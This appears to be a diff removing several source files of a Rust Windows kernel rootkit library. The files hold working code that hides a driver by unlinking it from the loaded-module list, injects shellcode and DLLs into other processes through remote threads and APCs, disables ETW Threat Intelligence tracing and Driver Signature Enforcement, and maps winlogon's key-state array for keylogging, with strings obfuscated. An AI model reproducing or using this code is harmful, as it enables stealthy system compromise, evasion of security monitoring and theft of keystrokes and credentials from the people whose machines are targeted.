/// * `Ok((LIST_ENTRY, LDR_DATA_TABLE_ENTRY))` - Returns a tuple containing the previous `LIST_ENTRY`
/// and the `LDR_DATA_TABLE_ENTRY` of the hidden driver, which can be used later to restore the driver in the list.
/// * `Err(ShadowError)` - If the driver is not found or a failure occurs during the process.
pub unsafe fn hide_driver(driver_name: &str) -> Result<(LIST_ENTRY, LDR_DATA_TABLE_ENTRY), ShadowError> {
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
if ldr_data.is_null() {
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
}
let list_entry = ldr_data as *mut LIST_ENTRY;
let mut next = (*ldr_data).InLoadOrderLinks.Flink as *mut LIST_ENTRY;
// Iterate through the loaded module list to find the target driver
while next != list_entry {
let current = next as *mut LDR_DATA_TABLE_ENTRY;
// Convert the driver name from UTF-16 to a Rust string
let buffer = core::slice::from_raw_parts((*current).BaseDllName.Buffer, ((*current).BaseDllName.Length / 2) as usize);
let name = String::from_utf16_lossy(buffer);
// Check if the current driver matches the target driver
if name.contains(driver_name) {
// The next driver in the chain
let next = (*current).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
// The previous driver in the chain
let previous = (*current).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY;
// Storing the previous list entry, which will be returned
let previous_link = LIST_ENTRY {
Flink: next as *mut LIST_ENTRY,
Blink: previous as *mut LIST_ENTRY,
};
// Unlink the current driver
(*next).InLoadOrderLinks.Blink = previous as *mut winapi::shared::ntdef::LIST_ENTRY;
(*previous).InLoadOrderLinks.Flink = next as *mut winapi::shared::ntdef::LIST_ENTRY;
// Make the current driver point to itself to "hide" it
(*current).InLoadOrderLinks.Flink = current as *mut winapi::shared::ntdef::LIST_ENTRY;
(*current).InLoadOrderLinks.Blink = current as *mut winapi::shared::ntdef::LIST_ENTRY;
return Ok((previous_link, *current))
}
next = (*next).Flink;
}
// Return an error if the driver is not found
Err(ShadowError::DriverNotFound(driver_name.to_string()))
}
/// Unhides a previously hidden driver by restoring it to the `PsLoadedModuleList`.
///
/// This function takes a previously hidden driver's `LIST_ENTRY` and `LDR_DATA_TABLE_ENTRY`
/// and restores it back into the module list, making it visible again.
///
/// # Arguments
///
/// * `driver_name` - The name of the driver to unhide.
/// * `list_entry` - A pointer to the `LIST_ENTRY` that was saved when the driver was hidden.
/// * `driver_entry` - A pointer to the `LDR_DATA_TABLE_ENTRY` of the hidden driver.
///
/// # Returns
///
/// * `Ok(STATUS_SUCCESS)` - If the driver is successfully restored to the list.
/// * `Err(ShadowError)` - If an error occurs during the restoration process.
pub unsafe fn unhide_driver(driver_name: &str, list_entry: PLIST_ENTRY, driver_entry: *mut LDR_DATA_TABLE_ENTRY) -> Result<NTSTATUS, ShadowError> {
// Restore the driver's link pointers
(*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY;
(*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY;
// Link the driver back into the list
let next = (*driver_entry).InLoadOrderLinks.Flink;
let previous = (*driver_entry).InLoadOrderLinks.Blink;
(*next).Blink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
(*previous).Flink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
Ok(STATUS_SUCCESS)
}
/// Enumerates all drivers currently loaded in the kernel.
///
/// This function iterates over the `PsLoadedModuleList` to gather information about all
/// currently loaded drivers, such as their name, base address, and index. It stores the
/// gathered information in a `Vec<DriverInfo>` which is returned to the caller.
///
/// # Returns
///
/// * `Ok(Vec<DriverInfo>)` - A vector of `DriverInfo` structs, each containing the name, base address,
/// and index of a loaded driver.
/// * `Err(ShadowError)` - If the function fails to access the `PsLoadedModuleList` or any other
/// errors occur during the process.
pub unsafe fn enumerate_driver() -> Result<Vec<DriverInfo>, ShadowError> {
let mut drivers: Vec<DriverInfo> = Vec::with_capacity(276);
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
if ldr_data.is_null() {
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
}
let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY;
let mut next = (*ldr_data).InLoadOrderLinks.Flink;
let mut count = 0;
// Iterate over the list of loaded drivers
while next != current {
let ldr_data_entry = next as *mut LDR_DATA_TABLE_ENTRY;
// Get the driver name from the `BaseDllName` field, converting it from UTF-16 to a Rust string
let buffer = core::slice::from_raw_parts(
(*ldr_data_entry).BaseDllName.Buffer,
((*ldr_data_entry).BaseDllName.Length / 2) as usize,
);
// Prepare the name buffer, truncating if necessary to fit the 256-character limit
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
// Populates the `DriverInfo` structure with name, address, and index
drivers.push(DriverInfo {
name,
address: (*ldr_data_entry).DllBase as usize,
index: count as u8,
});
count += 1;
// Move to the next driver in the list
next = (*next).Flink;
}
Ok(drivers)
}
}

View File

@@ -1,150 +0,0 @@
use alloc::string::String;
use thiserror_no_std::Error;
#[derive(Debug, Error)]
pub enum ShadowError {
/// Represents an error where an API call failed.
///
/// * `{0}` - The name of the API.
/// * `{1}` - The status code returned by the API.
#[error("{0} Failed With Status: {1}")]
ApiCallFailed(&'static str, i32),
/// Represents an error where a function execution failed at a specific line.
///
/// * `{0}` - The name of the function.
/// * `{1}` - The line number where the function failed.
#[error("{0} function failed on the line: {1}")]
FunctionExecutionFailed(&'static str, u32),
/// Error when a process with a specific identifier is not found.
///
/// This error is returned when the system cannot locate a process with the given
/// identifier (e.g., PID or process name).
///
/// * `{0}` - The identifier of the process that was not found.
#[error("Process with identifier {0} not found")]
ProcessNotFound(String),
/// Error when a thread with a specific TID is not found.
///
/// This error occurs when a thread with the specified TID cannot be located in the system.
///
/// * `{0}` - The thread identifier (TID) that was not found.
#[error("Thread with TID {0} not found")]
ThreadNotFound(usize),
/// Represents an invalid device request error.
///
/// This error occurs when an invalid or unsupported request is made to a device.
#[error("Invalid Device Request")]
InvalidDeviceRequest,
/// Represents an error where a null pointer was encountered.
///
/// This error occurs when a null pointer is encountered during an operation that
/// requires a valid memory reference.
///
/// * `{0}` - The name of the pointer that was null.
#[error("Pointer is null: {0}")]
NullPointer(&'static str),
/// Represents an error where a string conversion from a raw pointer failed.
///
/// This error is returned when the system fails to convert a raw pointer to a string,
/// typically during Unicode or ANSI string conversions.
///
/// * `{0}` - The memory address of the raw pointer that failed to convert.
#[error("Failed to convert string from raw pointer at {0}")]
StringConversionFailed(usize),
/// Represents an error where a specific module was not found.
///
/// This error occurs when a module (e.g., a DLL or driver) with the specified name
/// cannot be found in the system.
///
/// * `{0}` - The name of the module that was not found.
#[error("Module {0} not found")]
ModuleNotFound(String),
/// Represents an error where a driver with a specific name was not found.
///
/// This error occurs when a driver with the given name cannot be found in the
/// system's loaded drivers list.
///
/// * `{0}` - The name of the driver that was not found.
#[error("Driver {0} not found")]
DriverNotFound(String),
/// Represents an error where a pattern scan failed to locate a required pattern in memory.
///
/// This error occurs when a memory pattern scan fails to match the expected byte sequence.
#[error("Pattern not found")]
PatternNotFound,
/// Represents an error where a function could not be found in the specified module.
///
/// This error occurs when a named function is not found in a given module (DLL).
///
/// * `{0}` - The name of the function that was not found.
#[error("Function {0} not found in module")]
FunctionNotFound(String),
/// Represents an unknown failure in the system.
///
/// This is a generic catch-all error for unexpected failures. It includes the name of
/// the failing operation and the line number where the failure occurred.
///
/// * `{0}` - The operation that failed.
/// * `{1}` - The line number where the failure occurred.
#[error("Unknown failure in {0}, at line {1}")]
UnknownFailure(&'static str, u32),
/// Represents an error when installing or uninstalling a hook on the Nsiproxy driver.
///
/// This error occurs when the system fails to install or remove a hook on the Nsiproxy driver.
#[error("Error handling hook on Nsiproxy driver")]
HookFailure,
/// Represents an error when a buffer is too small to complete an operation.
///
/// This error occurs when the provided buffer is not large enough to hold the expected
/// data, resulting in an operation failure.
#[error("Small buffer")]
BufferTooSmall,
/// Error indicating that a callback could not be found.
///
/// This occurs when the system is unable to locate the expected callback function.
#[error("Error searching for the callback")]
CallbackNotFound,
/// Error indicating that a target with a specific index was not found.
///
/// This occurs when an operation fails to locate an item by its index in a list or array.
///
/// # Fields
///
/// * `{0}` - The index of the target that was not found.
#[error("Target not found with index: {0}")]
IndexNotFound(usize),
/// Error indicating that a failure occurred while removing a callback.
///
/// This occurs when the system fails to remove a callback that was previously registered.
#[error("Error removing a callback")]
RemoveFailureCallback,
/// Error indicating that a failure occurred while restoring a callback.
///
/// This occurs when the system fails to restore a previously removed callback.
#[error("Error restoring a callback")]
RestoringFailureCallback,
}
impl ShadowError {
/// Helper function to create a `ProcessNotFound` error from any type that can be converted into a `String`.
pub fn process_not_found<T: Into<String>>(id: T) -> Self {
ShadowError::ProcessNotFound(id.into())
}
}

View File

@@ -1,389 +0,0 @@
#![allow(non_snake_case)]
use {
obfstr::obfstr,
wdk_sys::{
*,
ntddk::*,
_MODE::{KernelMode, UserMode}
},
core::{
ffi::c_void, ptr::null_mut,
mem::transmute
},
crate::{
*,
pool::PoolMemory,
error::ShadowError,
patterns::find_zw_function,
handle::Handle, file::read_file,
KAPC_ENVIROMENT::OriginalApcEnvironment,
},
};
/// Represents shellcode injection operations.
///
/// The `Shellcode` struct provides methods for injecting shellcode into a target process
/// by allocating memory, copying shellcode, and creating a remote thread in the process.
pub struct Shellcode;
impl Shellcode {
/// Injects shellcode into a target process using `NtCreateThreadEx`.
///
/// This function performs the following steps:
/// 1. Opens the target process with all access rights.
/// 2. Allocates memory in the target process for the shellcode.
/// 3. Copies the shellcode from the current process into the allocated memory.
/// 4. Changes the memory protection to allow execution.
/// 5. Creates a new thread in the target process to execute the shellcode.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected.
/// * `path` - The file path to the shellcode to be injected, which will be read into memory.
///
/// # Returns
///
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
/// * `Err(ShadowError)` - If any step in the injection process fails, such as:
/// - Opening the process (`ZwOpenProcess` failure),
/// - Allocating virtual memory in the target process (`ZwAllocateVirtualMemory` failure),
/// - Protecting virtual memory (`ZwProtectVirtualMemory` failure),
/// - Creating the thread in the target process (`ZwCreateThreadEx` failure).
pub unsafe fn injection_thread(pid: usize, path: &str) -> Result<NTSTATUS, ShadowError> {
// Find the address of NtCreateThreadEx to create a thread in the target process
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx"))? as *mut c_void;
// Retrieve the EPROCESS structure for the target process
let target_eprocess = Process::new(pid)?;
// Open the target process with all access rights
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: null_mut(),
};
let mut h_process: HANDLE = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
}
// Wrap the process handle in a safe Handle type
let h_process = Handle::new(h_process);
// Read the shellcode from the provided file path
let shellcode = read_file(path)?;
// Allocate memory in the target process for the shellcode
let mut region_size = shellcode.len() as u64;
let mut base_address = null_mut();
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
}
// Copy the shellcode into the allocated memory in the target process
let mut result_number = 0;
MmCopyVirtualMemory(
IoGetCurrentProcess(),
shellcode.as_ptr() as _,
target_eprocess.e_process,
base_address,
shellcode.len() as u64,
KernelMode as i8,
&mut result_number,
);
// Change the memory protection to allow execution of the shellcode
let mut old_protect = 0;
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status));
}
// Create a thread in the target process to execute the shellcode
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
let mut h_thread = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
status = ZwCreateThreadEx(
&mut h_thread,
THREAD_ALL_ACCESS,
&mut obj_attr,
h_process.get(),
transmute(base_address),
null_mut(),
0,
0,
0,
0,
null_mut()
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status));
}
// Close the thread handle after creation
ZwClose(h_thread);
Ok(STATUS_SUCCESS)
}
/// Injects shellcode into a target process using Asynchronous Procedure Call (APC).
///
/// This function performs the following steps:
/// 1. Finds an alertable thread in the target process.
/// 2. Allocates memory in the target process for the shellcode.
/// 3. Copies the shellcode from the current process to the target process.
/// 4. Initializes two APCs (kernel and user).
/// 5. Queues the APCs into the alertable thread of the target process.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected.
/// * `path` - The file path to the shellcode that will be injected into the target process.
///
/// # Returns
///
/// * `Ok(STATUS_SUCCESS)` - If the shellcode injection is successful.
/// * `Err(ShadowError)` - If any of the following steps fail:
/// - Finding an alertable thread (`find_thread_alertable`),
/// - Opening the process (`ZwOpenProcess` failure),
/// - Allocating memory in the target process (`ZwAllocateVirtualMemory` failure),
/// - Queuing the APC (`KeInsertQueueApc` failure).
pub unsafe fn injection_apc(pid: usize, path: &str) -> Result<NTSTATUS, ShadowError> {
// Read the shellcode from the provided file path
let shellcode = read_file(path)?;
// Find an alertable thread in the target process
let thread_id = find_thread_alertable(pid)?;
// Open the target process
let target_eprocess = Process::new(pid)?;
let mut h_process: HANDLE = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: null_mut(),
};
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
}
// Wrap the process handle in a safe Handle type
let h_process = Handle::new(h_process);
// Allocate memory in the target process for the shellcode
let mut base_address = null_mut();
let mut region_size = shellcode.len() as u64;
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
}
// Copy the shellcode into the target process's memory
let mut result_number = 0;
MmCopyVirtualMemory(
IoGetCurrentProcess(),
shellcode.as_ptr() as _,
target_eprocess.e_process,
base_address,
shellcode.len() as u64,
KernelMode as i8,
&mut result_number,
);
// Allocate memory for kernel and user APC objects
let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"krts"))
.map(|mem: PoolMemory| {
let ptr = mem.ptr as *mut _KAPC;
core::mem::forget(mem);
ptr
})
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"urds"))
.map(|mem: PoolMemory| {
let ptr = mem.ptr as *mut _KAPC;
core::mem::forget(mem);
ptr
})
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
// Initialize the kernel APC
KeInitializeApc(
kernel_apc,
thread_id,
OriginalApcEnvironment,
kernel_apc_callback,
None,
None,
KernelMode as i8,
null_mut()
);
// Initialize the user APC with the shellcode
KeInitializeApc(
user_apc,
thread_id,
OriginalApcEnvironment,
user_apc_callback,
None,
transmute::<_, PKNORMAL_ROUTINE>(base_address),
UserMode as i8,
null_mut()
);
// Insert the user APC into the queue
if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) {
return Err(ShadowError::FunctionExecutionFailed("KeInsertQueueApc", line!()))
}
// Insert the kernel APC into the queue
if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) {
return Err(ShadowError::FunctionExecutionFailed("KeInsertQueueApc", line!()))
}
Ok(STATUS_SUCCESS)
}
}
/// Represents dll injection operations.
///
/// The `DLL` struct provides methods for injecting DLL into a target process
/// using either `NtCreateThreadEx`
pub struct DLL;
impl DLL {
/// Injects a DLL into a target process by creating a remote thread that calls `LoadLibraryA`.
///
/// This function opens the target process, allocates memory for the DLL path, and creates a remote thread
/// in the target process to load the DLL using `LoadLibraryA`.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process where the DLL will be injected.
/// * `path` - The file path to the DLL that will be injected.
///
/// # Returns
///
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
/// * `Err(ShadowError)` - If any step, such as opening the process, memory allocation, or thread creation, fails.
pub unsafe fn injection_dll_thread(pid: usize, path: &str) -> Result<NTSTATUS, ShadowError> {
// Find the address of NtCreateThreadEx to create a thread in the target process
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx"))?;
// Find the address of LoadLibraryA in kernel32.dll
let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA"))?;
// Open the target process
let target_eprocess = Process::new(pid)?;
let mut h_process: HANDLE = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: null_mut(),
};
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
}
// Wrap the process handle in a safe Handle type
let h_process = Handle::new(h_process);
// Allocate memory in the target process for the DLL path
let mut base_address = null_mut();
let mut region_size = (path.len() * size_of::<u16>()) as u64;
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
}
// Copy the DLL path into the target process's memory
let mut result_number = 0;
MmCopyVirtualMemory(
IoGetCurrentProcess(),
path.as_ptr() as _,
target_eprocess.e_process,
base_address,
(path.len() * size_of::<u16>()) as u64,
KernelMode as i8,
&mut result_number,
);
// Change the memory protection to executabl
let mut old_protect = 0;
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status));
}
// Create a thread in the target process to load the DLL
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
let mut h_thread = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
status = ZwCreateThreadEx(
&mut h_thread,
THREAD_ALL_ACCESS,
&mut obj_attr,
h_process.get(),
transmute(function_address),
base_address,
0,
0,
0,
0,
null_mut()
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status));
}
// Close the handle to the thread
ZwClose(h_thread);
Ok(STATUS_SUCCESS)
}
}
/// Kernel APC callback function.
///
/// This callback is triggered when the kernel APC is executed.
/// It ensures that the thread is alertable and then frees the allocated APC structure.
pub unsafe extern "system" fn kernel_apc_callback(
apc: PKAPC,
_normal_routine: *mut PKNORMAL_ROUTINE,
_normal_context: *mut PVOID,
_system_argument1: *mut PVOID,
_system_argument2: *mut PVOID
) {
// Ensure the thread is alertable in user mode
KeTestAlertThread(UserMode as i8);
// Free the APC object
ExFreePool(apc as _)
}
/// User APC callback function.
///
/// This callback is triggered when the user APC is executed.
/// It checks if the thread is terminating and frees the APC structure when done.
pub unsafe extern "system" fn user_apc_callback(
apc: PKAPC,
normal_routine: *mut PKNORMAL_ROUTINE,
_normal_context: *mut PVOID,
_system_argument1: *mut PVOID,
_system_argument2: *mut PVOID
) {
// Check if the current thread is terminating and prevent the shellcode from executing
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 {
*normal_routine = None;
}
// Free the APC object
ExFreePool(apc as _)
}

View File

@@ -1,42 +0,0 @@
#![no_std]
#![allow(unused_must_use)]
#![allow(unused_variables)]
extern crate alloc;
mod process;
pub use process::*;
mod thread;
pub use thread::*;
mod injection;
pub use injection::*;
mod module;
pub use module::*;
mod misc;
pub use misc::*;
mod driver;
pub use driver::*;
pub mod port;
pub use port::*;
pub mod error;
pub mod data;
pub use data::*;
pub mod registry;
pub use registry::*;
pub mod callback;
pub use callback::*;
pub mod utils;
pub use utils::*;
mod offsets;

View File

@@ -1,178 +0,0 @@
use {
obfstr::obfstr,
core::{ffi::c_void, ptr::null_mut},
wdk_sys::{
*,
ntddk::*,
_MODE::UserMode,
_MEMORY_CACHING_TYPE::MmCached,
_MM_PAGE_PRIORITY::NormalPagePriority,
},
crate::{
uni, Process,
TRACE_ENABLE_INFO,
error::ShadowError,
get_process_by_name,
process_attach::ProcessAttach,
patterns::{ETWTI_PATTERN, scan_for_pattern},
address::{get_function_address, get_module_base_address},
}
};
/// Represents ETW (Event Tracing for Windows) in the operating system.
///
/// The `Etw` struct provides methods for interacting with and manipulating
/// the ETW framework, including enabling or disabling ETW tracing through the ETWTI structure.
pub struct Etw;
impl Etw {
/// Enables or disables ETW (Event Tracing for Windows) tracing by modifying the ETWTI structure.
///
/// This function scans for the ETWTI (Event Tracing for Windows Threat Intelligence) structure
/// and adjusts the `IsEnabled` field to either enable or disable ETW tracing. It uses a pattern
/// search to locate the ETWTI structure in memory.
///
/// # Arguments
///
/// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) ETW tracing.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - If the operation is successful.
/// * `Err(ShadowError)` - If any error occurs while finding the function or modifying the ETWTI structure.
pub unsafe fn etwti_enable_disable(enable: bool) -> Result<NTSTATUS, ShadowError> {
// Convert function name to Unicode string for lookup
let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
// Get the system routine address for the function
let function_address = MmGetSystemRoutineAddress(&mut function_name);
// Scan for the ETWTI structure using a predefined pattern
let etwi_handle = scan_for_pattern(function_address, &ETWTI_PATTERN, 5, 9, 0x1000)?;
// Calculate the offset to the TRACE_ENABLE_INFO structure and modify the IsEnabled field
let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO;
(*trace_info).IsEnabled = if enable { 0x01 } else { 0x00 };
Ok(STATUS_SUCCESS)
}
}
/// Represents Driver Signature Enforcement (DSE) in the operating system.
///
/// The `Dse` struct provides functionality to manipulate the state of DSE,
/// which is responsible for enforcing the signature requirement on kernel-mode drivers.
pub struct Dse;
impl Dse {
/// Modifies the Driver Signature Enforcement (DSE) state.
///
/// This function locates the `g_ciOptions` structure in memory, which controls the DSE state, and modifies it to either enable or disable
/// driver signature enforcement.
///
/// # Arguments
///
/// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) driver signature enforcement.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - If the operation is successful.
/// * `Err(ShadowError)` - If the function fails to find or modify the DSE state.
pub unsafe fn set_dse_state(enable: bool) -> Result<NTSTATUS, ShadowError> {
// Get the base address of the CI.dll module, where the relevant function resides
let module_address = get_module_base_address(obfstr!("CI.dll"))?;
// Get the address of the CiInitialize function within CI.dll
let function_address = get_function_address(obfstr!("CiInitialize"), module_address)?;
// Search for the memory pattern that represents the initialization of DSE
let instructions = [0x8B, 0xCD];
let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89)?;
// Locate the g_ciOptions structure based on a pattern in the CiInitialize function
let instructions = [0x49, 0x8b, 0xE9];
let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21)?;
// Modify g_ciOptions to either enable or disable DSE based on the input flag
if enable {
*(g_ci_options as *mut u64) = 0x0006_u64;
} else {
*(g_ci_options as *mut u64) = 0x000E_u64;
}
Ok(STATUS_SUCCESS)
}
}
/// Represents keylogger operations in the system.
///
/// The `Keylogger` struct provides methods to retrieve and map memory for tracking key states
/// by interacting with the `gafAsyncKeyState` array in the `winlogon.exe` process.
pub struct Keylogger;
impl Keylogger {
/// Retrieves the address of the `gafAsyncKeyState` array in the `winlogon.exe` process and maps it to user-mode.
///
/// This function finds the process ID of `winlogon.exe`, attaches to the process, retrieves the address of the `gafAsyncKeyState` array,
/// and maps it into the user-mode address space for the process.
///
/// # Returns
///
/// * `Ok(*mut c_void)` - If successful, returns a pointer to the mapped user-mode address of `gafAsyncKeyState`.
/// * `Err(ShadowError)` - If any error occurs while finding the address or mapping memory.
pub unsafe fn get_user_address_keylogger() -> Result<*mut c_void, ShadowError> {
// Get the PID of winlogon.exe
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
// Attach to the winlogon.exe process
let winlogon_process = Process::new(pid)?;
let attach_process = ProcessAttach::new(winlogon_process.e_process);
// Retrieve the address of gafAsyncKeyState
let gaf_async_key_state_address = Self::get_gafasynckeystate_address()?;
// Validate the address before proceeding
if MmIsAddressValid(gaf_async_key_state_address as *mut c_void) == 0 {
return Err(ShadowError::FunctionExecutionFailed("MmIsAddressValid", line!()))
}
// Allocate an MDL (Memory Descriptor List) to manage the memory
let mdl = IoAllocateMdl(gaf_async_key_state_address as _, size_of::<[u8; 64]>() as u32, 0, 0, null_mut());
if mdl.is_null() {
return Err(ShadowError::FunctionExecutionFailed("IoAllocateMdl", line!()))
}
// Build the MDL for the non-paged pool
MmBuildMdlForNonPagedPool(mdl);
// Map the locked pages into user-mode address space
let address = MmMapLockedPagesSpecifyCache(mdl, UserMode as i8, MmCached, null_mut(), 0, NormalPagePriority as u32);
if address.is_null() {
IoFreeMdl(mdl);
return Err(ShadowError::FunctionExecutionFailed("MmMapLockedPagesSpecifyCache", line!()))
}
Ok(address)
}
/// Retrieves the address of the `gafAsyncKeyState` array.
///
/// This function uses a pattern search to locate the `gafAsyncKeyState` array in the `win32kbase.sys` module.
///
/// # Returns
///
/// * `Ok(*mut u8)` - Returns a pointer to the `gafAsyncKeyState` array if found.
/// * `Err(ShadowError)` - If the array is not found or an error occurs during the search.
unsafe fn get_gafasynckeystate_address() -> Result<*mut u8, ShadowError> {
// Get the base address of win32kbase.sys
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
// Get the address of the NtUserGetAsyncKeyState function
let function_address = get_function_address(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
// Search for the pattern that identifies the gafAsyncKeyState array
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
let pattern = [0x48, 0x8B, 0x05];
scan_for_pattern(function_address, &pattern, 3, 7, 0x200)
}
}

View File

@@ -1,245 +0,0 @@
use {
wdk_sys::*,
alloc::vec::Vec,
winapi::shared::ntdef::LIST_ENTRY,
ntapi::{
ntpebteb::PEB,
ntldr::LDR_DATA_TABLE_ENTRY
},
};
use crate::{
process::Process,
error::ShadowError,
data::{
MMVAD_SHORT, MMVAD,
PsGetProcessPeb
},
offsets::get_vad_root,
utils::process_attach::ProcessAttach
};
#[derive(Debug)]
pub struct ModuleInfo {
pub name: [u16; 256],
pub address: usize,
pub index: u8,
}
/// Represents a module in the operating system.
pub struct Module;
impl Module {
/// VAD Type for an image map.
const VAD_IMAGE_MAP: u32 = 2;
/// Enumerates modules in a given target process.
///
/// # Arguments
///
/// * `process` - A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated.
/// * `module_info` - A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules.
/// * `information` - A mutable reference to a `usize` that will store additional information about the module enumeration.
///
/// # Returns
///
/// * Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status.
pub unsafe fn enumerate_module(pid: usize) -> Result<Vec<ModuleInfo>, ShadowError> {
let mut modules: Vec<ModuleInfo> = Vec::with_capacity(276);
// Attaches the target process to the current context
let target = Process::new(pid)?;
let mut attach_process = ProcessAttach::new(target.e_process);
// Gets the PEB (Process Environment Block) of the target process
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
}
// Enumerates the loaded modules from the InLoadOrderModuleList
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
let mut count = 0;
while next != current {
if next.is_null() {
return Err(ShadowError::NullPointer("LIST_ENTRY"));
}
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
if list_entry.is_null() {
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
}
// Get the module name from the `FullDllName` field, converting it from UTF-16 to a Rust string
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
if buffer.is_empty() {
